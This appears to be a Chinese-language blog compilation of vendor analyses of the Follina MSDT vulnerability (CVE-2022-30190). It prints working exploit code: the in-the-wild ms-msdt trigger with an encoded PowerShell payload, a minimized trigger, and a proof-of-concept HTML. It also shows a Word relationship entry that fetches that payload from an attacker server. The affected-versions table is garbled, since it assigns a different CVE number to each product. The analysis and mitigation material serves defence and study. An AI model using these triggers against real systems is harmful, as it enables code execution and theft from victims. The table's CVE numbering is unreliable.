CVE-2022-30190 poc MSDT RCE Follina 0day

CVE-2022-30190 poc MSDT RCE Follina 0day

事件背景

2022 年 5 月 27 日,来自日本东京的网络安全研究团队nao_sec发现了一个从白俄罗斯 IP上传到VirusTotal的恶意 Word 文档。该文档滥用 Microsoft Word 远程模板功能来检索恶意 HTML 文件,该文件随后使用ms-msdt Office URI 方案在 Word 上下文中执行 PowerShell。

事实证明,这是 Office 和Windows 中的零日漏洞(0day).

5 月 30 日,凯文·博蒙特 (Keven Beaumont) 写了一篇文章,详细介绍了最初事件的具体情况。这里需要注意的重要一点是,诱饵 Word 文档在指向 hxxp://xmlformats[.]com 上托管的模板的链接之外没有任何固有的恶意,从而允许它绕过 EDR 解决方案。远程模板的 HTML 代码如下图 所示。

CVE-2022-30190 poc MSDT RCE Follina 0day

HTML 中嵌入的 JavaScript 使用 ms-msdt 架构来调用PCWDiagnostic包,以引用IT_BrowseForFile来执行 base64 编码的 PowerShell Invoke-Expression命令。

PowerShell Invoke-Expression中的 base64 解码文本如下图 所示:

CVE-2022-30190 poc MSDT RCE Follina 0day

这段代码做了一些事情。首先它会杀死msdt.exe进程。然后代码循环通过.rar存档中的文件寻找 CAB 文件(TVNDRgAAAA base64 解码为MSCF,这是 CAB 文件的魔术头)。然后它将它存储在一个名为1.t的文件中。1.t将 base64 解码为1.c,扩展为rgb.exe,然后最终执行。

我们看到的所有报告都没有恢复最终的有效载荷。因此,内容不明。

使用远程模板来传递恶意文档并不是什么新鲜事,然而,过去它们一直被用来托管.docm或dotm(启用宏的 Word 文档),这仍然会受到本地系统的 Word 宏策略的影响。因此,本次攻击中特别需要注意的漏洞在于通过远程加载的模板文件在Word中使用ms-msdt URL协议调用微软支持诊断工具(MSDT)。这允许在 Microsoft Word 的上下文中执行代码,即使宏被禁用。

受保护的视图是在nao_sec执行 示例期间触发的,但是,John Hammond演示了可以通过使用 RTF 文件来绕过受保护的视图。即使用户只是在预览窗格中查看文件(无需单击文档),这也允许攻击成功,从而使攻击更加危险。

virustotal病毒样本地址:

https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/detection

CVE-2022-30190 poc MSDT RCE Follina 0day

CVE-2022-30190漏洞描述

Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability

Microsoft Windows 支持诊断工具 (MSDT) 远程代码执行漏洞.

从Word等调用应用程序使用 URL 协议调用 MSDT 时存在远程代码执行漏洞。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。然后,攻击者可以安装程序、查看、更改或删除数据,或者在用户权限允许的上下文中创建新帐户。

受影响的版本

受影响的产品影响严重性cve
Windows Server 2012 R2 (Server Core installation)远程代码执行漏洞重要CVE-2022-30190
Windows Server 2012 R2远程代码执行漏洞重要CVE-2022-30191
Windows Server 2012 (Server Core installation)远程代码执行漏洞重要CVE-2022-30192
Windows Server 2012远程代码执行漏洞重要CVE-2022-30193
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)远程代码执行漏洞重要CVE-2022-30194
Windows Server 2008 R2 for x64-based Systems Service Pack 1远程代码执行漏洞重要CVE-2022-30195
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)远程代码执行漏洞重要CVE-2022-30196
Windows Server 2008 for x64-based Systems Service Pack 2远程代码执行漏洞重要CVE-2022-30197
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)远程代码执行漏洞重要CVE-2022-30198
Windows Server 2008 for 32-bit Systems Service Pack 2远程代码执行漏洞重要CVE-2022-30199
Windows RT 8.1远程代码执行漏洞重要CVE-2022-30200
Windows 8.1 for x64-based systems远程代码执行漏洞重要CVE-2022-30201
Windows 8.1 for 32-bit systems远程代码执行漏洞重要CVE-2022-30202
Windows 7 for x64-based Systems Service Pack 1远程代码执行漏洞重要CVE-2022-30203
Windows 7 for 32-bit Systems Service Pack 1远程代码执行漏洞重要CVE-2022-30204
Windows Server 2016  (Server Core installation)远程代码执行漏洞重要CVE-2022-30205
Windows Server 2016远程代码执行漏洞重要CVE-2022-30206
Windows 10 Version 1607 for x64-based Systems远程代码执行漏洞重要CVE-2022-30207
Windows 10 Version 1607 for 32-bit Systems远程代码执行漏洞重要CVE-2022-30208
Windows 10 for x64-based Systems远程代码执行漏洞重要CVE-2022-30209
Windows 10 for 32-bit Systems远程代码执行漏洞重要CVE-2022-30210
Windows 10 Version 21H2 for x64-based Systems远程代码执行漏洞重要CVE-2022-30211
Windows 10 Version 21H2 for ARM64-based Systems远程代码执行漏洞重要CVE-2022-30212
Windows 10 Version 21H2 for 32-bit Systems远程代码执行漏洞重要CVE-2022-30213
Windows 11 for ARM64-based Systems远程代码执行漏洞重要CVE-2022-30214
Windows 11 for x64-based Systems远程代码执行漏洞重要CVE-2022-30215
Windows Server, version 20H2 (Server Core Installation)远程代码执行漏洞重要CVE-2022-30216
Windows 10 Version 20H2 for ARM64-based Systems远程代码执行漏洞重要CVE-2022-30217
Windows 10 Version 20H2 for 32-bit Systems远程代码执行漏洞重要CVE-2022-30218
Windows 10 Version 20H2 for x64-based Systems远程代码执行漏洞重要CVE-2022-30219
Windows Server 2022 Azure Edition Core Hotpatch远程代码执行漏洞重要CVE-2022-30220
Windows Server 2022 (Server Core installation)远程代码执行漏洞重要CVE-2022-30221
Windows Server 2022远程代码执行漏洞重要CVE-2022-30222
Windows 10 Version 21H1 for 32-bit Systems远程代码执行漏洞重要CVE-2022-30223
Windows 10 Version 21H1 for ARM64-based Systems远程代码执行漏洞重要CVE-2022-30224
Windows 10 Version 21H1 for x64-based Systems远程代码执行漏洞重要CVE-2022-30225
Windows Server 2019  (Server Core installation)远程代码执行漏洞重要CVE-2022-30226
Windows Server 2019远程代码执行漏洞重要CVE-2022-30227
Windows 10 Version 1809 for ARM64-based Systems远程代码执行漏洞重要CVE-2022-30228
Windows 10 Version 1809 for x64-based Systems远程代码执行漏洞重要CVE-2022-30229
Windows 10 Version 1809 for 32-bit Systems远程代码执行漏洞重要CVE-2022-30230

对于 Office 的 Insider 和 Current 版本,我无法让它工作——这表明微软要么试图强化某些东西,要么试图在没有记录的情况下修复这个漏洞。这似乎发生在 2022 年 5 月左右。另一个完全可能是我太白痴了,无法在这些版本上利用它,而我只是把事情搞砸了。

在所有版本的 Office 365(包括当前频道)上,使用 .RTF 文件似乎可以利用该漏洞。

该漏洞已在 Office 2013、2016、2019、2021、Office ProPlus 和 Office 365 中得到证明。它也适用于 Windows 本身,例如它可以从 .lnk 文件中调用——在我看来实际上存在两个不同的问题,Office 本身使用 MS 协议并允许从 HTML Word 模板和 Outlook 链接中加载未经过滤的内容,以及允许代码执行的 MSDT。

Rich 仍然看到它从 4 月开始在 Office Pro Plus 中运行,并附有一段小视频:

带有最新补丁的 Office 2019 也容易受到攻击:

微软安全响应中心公告

2022 年 5 月 30 日星期一,微软针对 Windows 中的 Microsoft 支持诊断工具 (MSDT) 漏洞发布了 CVE-2022-30190。

从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程代码执行漏洞。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。然后,攻击者可以安装程序、查看、更改或删除数据,或者在用户权限允许的上下文中创建新帐户。

解决方法

禁用 MSDT URL 协议

禁用 MSDT URL 协议可防止故障排除程序作为链接启动,包括整个操作系统的链接。仍然可以使用“获取帮助”应用程序和系统设置中的其他或附加故障排除程序来访问故障排除程序。请按照以下步骤禁用:

  1. 管理员身份运行命令提示符
  2. 要备份注册表项,请执行命令“reg export HKEY_CLASSES_ROOT\ms-msdt filename ”
  3. 执行命令“reg delete HKEY_CLASSES_ROOT\ms-msdt /f”。

如何撤消解决方法

  1. 管理员身份运行命令提示符
  2. 要恢复注册表项,请执行命令“reg import filename” 

Microsoft Defender 检测和保护

拥有 Microsoft Defender 防病毒软件的客户应打开云提供的保护和自动提交样本。这些功能使用人工智能和机器学习来快速识别和阻止新的和未知的威胁。

Microsoft Defender for Endpoint 的客户可以启用阻止 Office 应用程序创建子进程的攻击面减少规则“BlockOfficeCreateProcessRule”。创建恶意子进程是一种常见的恶意软件策略。有关详细信息,请参阅减少攻击面规则概述

Microsoft Defender 防病毒软件使用检测版本1.367.719.0 或更高版本在以下签名下为可能的漏洞利用提供检测和保护:

  • Trojan:Win32/Mesdetty.A   (阻止 msdt 命令行)
  • Trojan:Win32/Mesdetty.B   (阻止 msdt 命令行)
  • Behavior:Win32/MesdettyLaunch.A!blk(终止启动 msdt 命令行的进程)

Microsoft Defender for Endpoint 为客户提供检测和警报。Microsoft 365 Defender 门户中的以下警报标题可以指示网络上的威胁活动:

  • Office 应用程序的可疑行为
  • Msdt.exe 的可疑行为

问题及答案

问:Office 的 Protected View 和 Application Guard 是否提供针对此漏洞的保护?

答:如果调用应用程序是 Microsoft Office 应用程序,默认情况下,Microsoft Office 在 Protected View 或 Application Guard for Office 中打开来自 Internet 的文档,这两者都可以防止当前的攻击

Follina漏洞分析

Huntress 团队获得了@nao_sec在 Twitter 上首次分享的样本,并检查了 Microsoft Word 文档的内容。我们已经复现了这个漏洞,并在下面分享了我们的发现。

解压缩文件会提取构成 Office 文档的所有组件。

CVE-2022-30190 poc MSDT RCE Follina 0day

word/_rels/文件夹内是一个document.xml.rels文件,其中包含对hxxps[:]//www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html的外部引用!

CVE-2022-30190 poc MSDT RCE Follina 0day

在撰写本文时(0041 EDT 2022 年 5 月 30 日),该网站不再在线。根据@nao_sec 之前分享的研究,我们可以从ANY.RUN 的动态分析中检索 HTML 。

这是RDF842l.html 的原始内容:

CVE-2022-30190 poc MSDT RCE Follina 0day

该 HTML 文档以脚本标记开头,包含大量注释的 A 字符,这些字符(考虑到它们只是注释)似乎没有任何作用……但根据我们的测试,利用大量字符是必要的。

脚本标签的最底部是语法:

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";

这似乎是漏洞利用的症结所在。使用ms-msdt的架构,使用包含嵌入在$()中的 PowerShell 语法的参数 IT_BrowseForFile 调用本机包 PCWDiagnostic 。 

Base64编码的数据,经过两层Invoke-Expression,解码为:

$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";

cmd.exe的路径捕获为变量,进程如下:

  • 启动隐藏窗口:
    • 如果 msdt.exe 正在运行,则终止它
    • 循环遍历 RAR 文件中的文件,查找编码 CAB 文件的 Base64 字符串
      • 将此 Base64 编码的 CAB 文件存储为1.t
      • 解码Base64编码的CAB文件保存为1.c
      • 将1.c CAB文件展开到当前目录,最后:
      • 执行rgb.exe(大概压缩在1.c CAB文件里面)

rgb.exe的具体影响是未知的,但重要的一点是,这是一种新颖的初始访问技术,只需单击一次或更少,即可轻松地为威胁参与者提供代码执行。这对攻击者来说是一种诱人的攻击,因为它隐藏在 Microsoft Word 文档中,没有宏来触发用户熟悉的警告信号,但能够运行远程托管代码。

为了更好地理解这种威胁,Huntress 安全研究人员修改了 Word 文档的内部结构,以调用分析沙箱中的本地地址,并提供一个良性有效负载,该有效负载将显示消息而不是引爆恶意软件。

CVE-2022-30190 poc MSDT RCE Follina 0day

经过一些测试,很明显,如果没有大量填充字符(HTML 注释中出现的 A),有效负载将无法执行。我们探索了不同的变体,使用不同的字符并将评论块放置在触发脚本代码的上方和下方……但在社区介入之前,我们并不清楚为什么这是必要的。Rich Warren 分享 了 Bill Demirkapi 的博客,指出那里是 HTML 处理函数的硬编码缓冲区大小,我们能够确认任何少于 4096 字节的文件都不会调用有效负载

经过更多的修改,我们注意到脚本调用中使用的一些语法对于调用有效负载不是必需的。使用相同的良性有效负载(打开 Windows 内置计算器作为我们成功的演示),我们可以将触发器缩小为:

location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe\"";

看来:

  • 在 IT_BrowseForFile 参数的开头至少需要两次 /../ 目录遍历
  • 包含在 $() 中的代码将通过 PowerShell 执行,但空格会破坏它
  • “.exe”必须是出现在 IT_BrowseForFile 参数末尾的最后一个尾随字符串

虽然这绝不是可以压缩到的最大程度,但我们希望这表明这种攻击的变体是如何存在的。

请注意,富文本格式文件 (.rtf) 可以仅通过Windows 资源管理器中的预览窗格触发此漏洞的调用。与CVE-2021-40444非常相似,这不仅通过“单击”来利用,而且可能通过“零单击”触发器来扩展此威胁的严重性。

CVE-2022-30190 poc MSDT RCE Follina 0day

此外,触发有效载荷可以到达远程位置。虽然这不太可能调用不受信任的二进制文件,但连接仍将携带 NTLM 哈希(这意味着不良行为者现在拥有受害者 Windows 密码的哈希),攻击者可以使用这些哈希进行进一步的后期利用。

CVE-2022-30190 poc MSDT RCE Follina 0day

感谢以前的研究人员通过分析其他方法来利用 MSDT为我们提供了这些潜在远程威胁的线索:

CVE-2022-30190 poc MSDT RCE Follina 0day

请记住,这种攻击技术在打开或导航到恶意文档的用户帐户下运行代码。这意味着攻击者可能以低权限用户(没有管理员权限)开始,但随后可以使用此访问权限触发进一步的攻击以提升权限并获得对目标环境的更多访问权限。

教育用户识别和删除恶意电子邮件仍然是您最好的防线,直到可以将补丁部署到您的端点。

检测工作

此攻击向量执行的有效负载将在有问题的 Microsoft Office 父级下创建 msdt.exe 的子进程。

CVE-2022-30190 poc MSDT RCE Follina 0day

此外,sdiagnhost.exe进程将与conhost.exe进程及其后续有效负载进程一起生成(我们的良性 calc.exe 将反弹并打开 Calculator.exe Metro 应用程序)。

CVE-2022-30190 poc MSDT RCE Follina 0day

Huntress 一直在为我们的托管安全平台添加检测功能,并积极监控威胁,包括与此漏洞相关的威胁。我们已经验证,在野外看到的特定漏洞利用Windows Defender触发 Huntress Managed Antivirus事件。此外,我们的威胁运营团队正在我们的Process Insights技术中寻找这种威胁的新变体。

如果您正在进行自己的威胁搜寻,可以在这里找到检测此威胁的 SIGMA 规则——向 Huntress 检测工程师 Matthew Brennan 致敬!

目前,Windows Defender 将检测到已知的野外恶意样本 CVE-2017-0199。虽然此威胁不是可追溯到 2017 年的漏洞,但这种检测很可能很快就会得到完善和改进。

缓解措施

虽然在撰写本文时尚未发布补丁,但您仍然可以采取缓解措施来限制您的攻击面。

如果在您的环境中使用 Microsoft Defender 的攻击面减少(ASR) 规则,则在阻止模式下激活“阻止所有 Office 应用程序创建子进程”规则将防止此漏洞被利用。但是,如果您尚未使用 ASR,您可能希望先在审核模式下运行规则并监控结果,以确保不会对最终用户产生不利影响。 

另一种选择是删除 ms-msdt 的文件类型关联(可以在 Windows Registry HKCR:\ms-msdt或使用Kelvin Tegelaar 的 PowerShell 片段中完成)。打开恶意文档后,Office 将无法调用 ms-msdt,从而阻止恶意软件运行。在使用此缓解措施之前,请务必备份注册表设置。

正在发生的事情的非技术版本

如果您想知道如何与您的最终用户交流有关此漏洞的信息(或者甚至需要根据您自己的知识分解此分析),以下是主要内容:

  • 这是一个突然出现的 0-day 攻击,目前没有可用的补丁.
  • 这个 0-day 具有远程代码执行功能,这意味着一旦此代码被引爆,威胁参与者可以提升自己的权限并可能获得对受影响环境的“上帝模式”访问权限
  • 可用的缓解措施是行业没有时间研究其影响的混乱解决方法。它们涉及更改 Windows 注册表中的设置,这是一项严肃的工作,因为不正确的注册表项可能会使您的机器变砖
  • 引爆这个恶意代码就像打开一个 Word 文档一样简单——在预览模式下

from

技术分析:

2022 年 4 月 12 日,恶意.doc文件(或 maldoc)被上传到VirusTotal,其中包含“零日”漏洞。该漏洞利用了msdt协议中的一项功能来执行任意 PowerShell。当受害者下载并打开恶意文档时,攻击者的 PowerShell 脚本会以本地用户的权限执行。5 月 30 日,在未提供补丁的情况下,Microsoft 将此问题分配为CVE-2022-30190,并提供 CVSSv3 评分 7.8 ( AV:L/AC:L/PR:N/UI:R/S:U/C:H /I:H/A:H )。值得注意的是,CVSSv3 向量表明攻击向量是“本地的”并且需要“用户交互”。

据称,最初的恶意文档是由@CrazymanArmy在 4 月发现并向微软报告的。然而,据报道,微软关闭了@CrazymanAramy 的报告,因为它“不是安全相关问题”。2022 年 5 月 30 日,@nao_sec在推特上发布了另一个使用“零日”漏洞的恶意文档。这导致了整个信息安全 Twitter 的广泛参与,并采用了“Follina”这个名称。

msdt 攻击向量似乎已在 2020 年Benjamin Altpeter 题为“野外电子安全状态分析”的学术论文中首次描述。这篇论文没有特别提到使用 Word 文档作为有效负载传递系统。

存在许多概念验证漏洞,包括Metasploit 模块(截至 5 月 31 日的代码审查中)。据推测,最初的四月恶意文档被一位老练的威胁参与者在野外使用。现在,随着广泛发布的详细信息和尚未发布的补丁,Rapid7 预计将在更频繁和不太复杂的基于电子邮件的攻击中看到这一点。然而,值得注意的是,大量现有的基于附件的攻击在野外被积极使用。教育用户打开未知来源的文件应该是任何安全程序的首要任务。

分析

对于此分析,我们使用了John Hammond 的 概念证明

攻击相当简单。在高层次上,恶意 Word 文档包含对攻击者服务器的外部引用,如下所示:

<Relationship Id="rId996" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://10.0.0.28:8000/index.html!" TargetMode="External"/>

外部引用将导致文档从远程服务器加载辅助恶意负载。辅助有效负载滥用 amsdt来执行 Powershell。

使用 Hammond 的概念证明,我们可以生成一个名为follina.doc包含此类引用的恶意文档。提取Office文档格式的工具有很多,但在这种情况下,我们可以简单地使用binwalk来提取和定位恶意外部引用。

albinolobster@ubuntu:~/msdt-follina$ binwalk -e follina.doc 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, name: _rels/
36            0x24            Zip archive data, at least v2.0 to extract, name: docProps/
75            0x4B            Zip archive data, at least v2.0 to extract, name: word/
110           0x6E            Zip archive data, at least v2.0 to extract, compressed size: 340, uncompressed size: 1312, name: [Content_Types].xml
499           0x1F3           Zip archive data, at least v2.0 to extract, compressed size: 233, uncompressed size: 590, name: _rels/.rels
773           0x305           Zip archive data, at least v2.0 to extract, compressed size: 354, uncompressed size: 735, name: docProps/core.xml
1174          0x496           Zip archive data, at least v2.0 to extract, compressed size: 353, uncompressed size: 704, name: docProps/app.xml
1573          0x625           Zip archive data, at least v2.0 to extract, name: word/_rels/
1614          0x64E           Zip archive data, at least v2.0 to extract, name: word/theme/
1655          0x677           Zip archive data, at least v2.0 to extract, compressed size: 2880, uncompressed size: 29364, name: word/styles.xml
4580          0x11E4          Zip archive data, at least v2.0 to extract, compressed size: 1220, uncompressed size: 3920, name: word/document.xml
5847          0x16D7          Zip archive data, at least v2.0 to extract, compressed size: 1007, uncompressed size: 2934, name: word/settings.xml
6901          0x1AF5          Zip archive data, at least v2.0 to extract, compressed size: 307, uncompressed size: 803, name: word/webSettings.xml
7258          0x1C5A          Zip archive data, at least v2.0 to extract, compressed size: 464, uncompressed size: 1567, name: word/fontTable.xml
7770          0x1E5A          Zip archive data, at least v2.0 to extract, compressed size: 1529, uncompressed size: 6799, name: word/theme/theme1.xml
9350          0x2486          Zip archive data, at least v2.0 to extract, compressed size: 285, uncompressed size: 993, name: word/_rels/document.xml.rels
10670         0x29AE          End of Zip archive, footer length: 22

albinolobster@ubuntu:~/msdt-follina$ grep -r "\!\" TargetMode=\"External\"" ./_follina.doc.extracted/
./_follina.doc.extracted/word/_rels/document.xml.rels:<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId996" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://10.0.0.28:8000/index.html!" TargetMode="External"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/></Relationships>

具体的外部参考是

<Relationship Id="rId996" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://10.0.0.28:8000/index.html!" TargetMode="External"/>

外部引用指向攻击者的 HTTP 服务器的10.0.0.288000 端口。HTTP 服务器将恶意负载托管在index.html. 当文档打开(或者,在某些情况下,预览)时,该文档将index.html10.0.0.28:8000. 恶意“html”的内容如下:

<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'bm90ZXBhZA=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //yvvmvyknlwehfnsqgtdzgkoxmpmwtiyvibgukaerhpuvtqjlpwmvabcqptmmzfrazylvuzglydapfkuvcvvtfzeolcackqbsniyzmyqlmngfoemigivbhuwveivseuhmtrgrtritwrhbeuodgcgaajvivkhshhmxkvbnnnpwtezqlgvcdagafuvlfuxsjzfdhjhkydjwxufjipyvaijenpevidcpurhwaeaycizxrcqphnjndhmtvbzrpzahnumeldoeevfxmovdgajalzjcwayqwvsowoimoyffpmhpkumrqjsbchjdymyeiczbdtcbbowelownretuzdmlscnpfnxukxkwksjwaknewhvjsaktuoziloydwyekcrqdgtuvkjnzlxzzvasqxtczqsxmlivektuyxkhotzceldfpqvdxusgaipitwwmonxmstfgzwwenxtdbdleqmyyyjtxanrovuacyxxpkryzxbusvvnccbihgisaawzdrpfiibgdqaldygtdfkqkqcyyygmrxtxhnzwnputhtztltzlfqzdbguprlrjpjymoamzqirpelenxuofhoumfktwgmggjjihpcaewkrsrbeqovgmdleebeaaaeeqhzzgriygkisgraekurchnjdfundmfdfvnpcylceftflxhhiwljhuadbddkjfzsengcddaiwpcbphcadeuzufokxwhpslpqfhmkfsdlbbayapoqwpdxhfyuhwfraxwgcuawhnedykjajxxidaroihfacgndabgpissduzczrikvwushdklaryvqqjoumujbzgnbjjsahlsuxbsamyjyawivkawmqbagaswsscnliqlbprujdcoyorshiillmivgcmjnbepocbgmwepugqplzeuufpbzdcmarwrmyqyjuqxlbuoymrvtnfoswliucpxkubitjotcrhvplupcnzkcrofczddpqivprhplmoudlzodselsfrdxhlzoqhgbokvxvgqphyocjdcppoxohbegneiifiphjcdpsllfgepebabaltwdsnmsdqywwofjkoarnnhdughcfsffgfwczcuetvazqlpzmmmfjzzuzcrmryrmqckzoqfvgihlstrprmtelyazupwaahkbwrunuzcftlkgtkormeadhkamgbpoqzbwoqnnnxubvcxnhhgnmaodiouglxvwhculwaeboyvdenglxcxnomamydvxmjekubpqfpbsyflazjetgcniavpfjzrvoqudnxajcasbzutwyaijqjvujeuanbexupzeosehuyhjoxzfbwxusoovzytwcrgxlofvdizhfsytqwynqoorvfazuazxryrkwmuvjhjgzwfeffvyceuwxknziabjumjhvhoqgyunpzrlrrljpooyswtahadfuyvvoznjwzjqqhmlewqtsdoyrhqrkslqmcunpxhoyhnfpbfivvowqlufoxkxpimwmfcwbgezyuxteplntfolbcwgelysxpgtpvdxoyyoeteovolznioiuzgmrkzobxfrvnazzdxlzskgvurfojjlsvlfsjvoyvvosymchamenrlopnsachfuxcfxyzghpcgmxkocggykvzikopzrxxhpmuxeadlncmbffewfzgtaovqvpvvzmsogsunevkoklnildnhxjclezoolyfkakekrlqyefvvmfgbfdkaskvgkyojyabtlnskauczyirzgyyvvpqobneognirkyapcutucyvybzseqkoaxgblytazzecywppigcejqbtdohmzoiozxzqylordzrvpgeigfsgaxyjiqcpyfxwytaayxotjfmjpfoqmyroozvaougamautnaxsaahavucatgwbszlfmrnfqaetqpvzuiouwnriqbrxbvuocbjgmatzgeflnovgtblouhuvtgcuzyhmhzzimxevhbfpzhyanaunwqjuyennmsutuzordvzlvmpyhvndnbqhfkofpfwusxswiwlfrfnjyppebhbdmappigkhvqzsnxbptmtshsvqpsmbtaigwveyklcywvlvkuyxwfuqdapmufcgpjbcwgcwedyrmyalgzoskqzzqyllawocuitkidqplxprzdgybdqomsgkmntuawuzhzduzmvswfqzmedbeyoctoldspwtggaolywxdximuuuowmozpwfzfkzfkusgjrvwsrozmkkgcixfjqnqyilkpjiiasyiodhunihzegqxnfwaroyyxughmuzyidgbaselpzvpsrywkiagbauxknfsdtvqshovtbtckkjksruusidxxpgoocwakvvkhqogpfmuqwmnzwprjbajzpcxjmvvccadcafhnohzcwxotjcdrmsdfojnaquuqxtdlmaczqbvfdmfvmwgvqefkptamywmmncnhdydsnshrzbaxkahsunqjtertnhodpmyqzbcclpigleuwbzitwiiakryqahoueghmjwidtlwlxmuosleawuwbjjozwwhxuyiiimxwhdapprssnbrcqzgiauqbpggbfosqsofhncpifvjjpnqsysrpybfgqwklchegquqytzlecfivgawqpggqvlsmpxhdbjlbqzhtjrdbsolqptdzzocrgwuqxdteundkdmteqfggwkuzprsvytknufknhvizuznkwlnfvzmdljxhgufhvelwiyqnjwkekofxlmrtmapmscyfpudohprcgkrgpnwonatningoztahwlbctiatnqvnfgmxvvqrsbqyqvxgbghnuayuwjpbrzbztsaspmxowyrlyowdbtwuefibpinkheesoazbhcwqtoxevkuoydjyylofnilzadjtnvwspzxjzzhguxbuveaqnufrrlevucrflflvhcjbcdysjywxgiijycaxydulbcepqmvjfiqothwrtsttepephrffzpuhqfbfgeyqnbxxlviefvwtrbawdlwlpnqbfvmsrjxkuvooaaegplvtqvyyoeqozymhhmdaaglsltkvajbedhevlzqmmjeenpkwmxdacaqwjxxuqqinotdlrscxafimuilxhyjilwymbchbygfnydgydfwybbgarsqjgflauwutfksfzsmlwurvkuukpejdlfiuvususivukrzshdfibdqjevjriwcbhqsdfayaoskufmqtdaminnqevsraqjbwyicckamnyduwrdsetmrcurscawexkpmhkutmfipzjjztnfgrcagminuujtmxwjolqhknhggfyvvyrxjjnphzybnjczekfbrogkalzigzvvvogiwehydjvzttocfdrwsyljrsbkokfrcxyzwcpgqovoxegynpvcrhipgemcdyncwxaoabteblerznwniwquypqmgypfsrocugcubxepltnsanbiagphmsooefhsccnyvhvxedzyzynhulkbwuqvusowhbnvvytwtrvsrkibezumhnsojxkyhvbqhdjlprrfhvxqzrvrvbflgyhegzmfeaqshtupgywvfjftqebnnovdgtllsvazftzwssntcbkpessecchvloiwyyamhmekzmrolerujkhsgvgstehuftoflvawdkgvbihzeghcqmvteogicpvbasckpywmrbjnetoyxrnigbhitwypuuxviahobxuwlfczbzpanakfhbekeoibvfotholnmdwijofezxaopbxznrfdgnulttzrcyxmhtzrvguwymtqmzgzwfebtwgnalwmgwriuvziiqfmbpnzumiydckuhykappgyhntaciiecuwhqpzssciwqozpkkouoshwdjpwmyqharrxvdqskukzzqgbviwgbhlhduwhggfhiibatusglmmopaxfycyyanrzszcelzybvyqahfctylwagsxkogqdtnncvqbgvnrpatqztrmdkkbfdegmeqfgiuhrlqnwoiltlqjroieykdypiaxvnshetecdnuelpgobntkkygmiycmigzuxnazaghgiiawqbtqzlwnsgdpgqdjpwbihuajihjyxerotzmhjtwqcepccdwwvgoxmfzwcflv

这看起来很大,但它主要是 base64 编码的随机数据。包含随机数据是因为只有当页面超过 4096 字节时才会执行 msdt 有效负载Bill Demirkapi在他们对CVE-2021-40444的分析中首先观察到)。这意味着攻击的相关部分是:

<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'bm90ZXBhZA=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";

